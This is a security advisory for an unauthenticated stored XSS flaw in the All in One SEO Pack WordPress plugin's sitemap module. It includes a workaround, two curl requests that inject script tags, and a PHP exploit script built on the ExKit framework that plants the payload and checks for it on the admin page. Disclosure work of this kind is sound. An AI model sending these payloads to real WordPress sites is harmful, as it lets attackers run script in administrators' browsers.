All in One SEO Pack - Sitemap Feature [Unauthenticated Stored XSS]

Description

Plugin All in One SEO Pack has a module for generating XML sitemaps. This module if enabled allows an attacker to perform a Stored XSS attack by forming a malicious request.

The problem occurs because this plugin doesn’t sanitize requests for generating a sitemap and it doesn’t escape the logged request before printing it in All in One SEO → XML Sitemap page.

For this attack to work the user must have enabled the plugin and the sitemap module. Yet no other special settings are required for this attack to work.

If this module is enabled then anyone can forge a malicious request in order to perform this request, so this is exploitable by unauthenticated users also.

As a workaround users could disable the option All in One SEO → XML Sitemap → Dynamically Generate Sitemap (it is enabled by default) until a patch is available, but this is not considered a viable option if they want their sitemap to be automatically generated.

PoC

Simple shell request

curl 'http://sbwp4.dev/?aiosp_sitemap_path=</pre><script>alert(String.fromCharCode(88, 83, 83))</script><pre>'
curl 'http://sbwp4.dev/sitemap_<script>alert(String.fromCharCode(88,83,83))</script>.xml'

ExKit Exploit

#!/usr/bin/env php
<?php
/*******************************************************************************
 * All in One SEO Pack - Sitemap Feature [Unauthenticated Stored XSS]
 *
 * Author: Pan Vag <[email protected]>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;
use Wordfence\ExKit\Session;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
	Cli::writeError( 'You must enter a valid URL' );
	exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}


Cli::writeInfo('Performing the attack...');

$id = uniqid();
$payload = "</pre><script>alert(/{$id}/)</script><pre>";

$r = Request::get(Endpoint::baseURL() . "?aiosp_sitemap_path={$payload}");

if(!$r->success || strpos($r->body, 'Sitemap dynamically generated by All in One SEO Pack') === false){
	ExitCodes::exitWithFailed('Invalid response. Maybe target is not exploitable.');
}

Cli::writeInfo('Checking if payload is present in admin page...');

$s = new Session();

Cli::writeInfo('Authenticating with WordPress...');
WPAuthentication::logInAsUserRole($s, WPAuthentication::USER_ROLE_ADMINISTRATOR);

$r = $s->get(Endpoint::adminURL().'?page=all-in-one-seo-pack%2Fmodules%2Faioseop_sitemap.php');

if(!$r->success || strpos($r->body, $payload) === false){
	ExitCodes::exitWithFailed('Unable to find payload in `All in One SEO → XML Sitemap` page. Maybe target is not exploitable');
}

ExitCodes::exitWithSuccess('Exploitation successful, payload found in `All in One SEO → XML Sitemap` page');

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX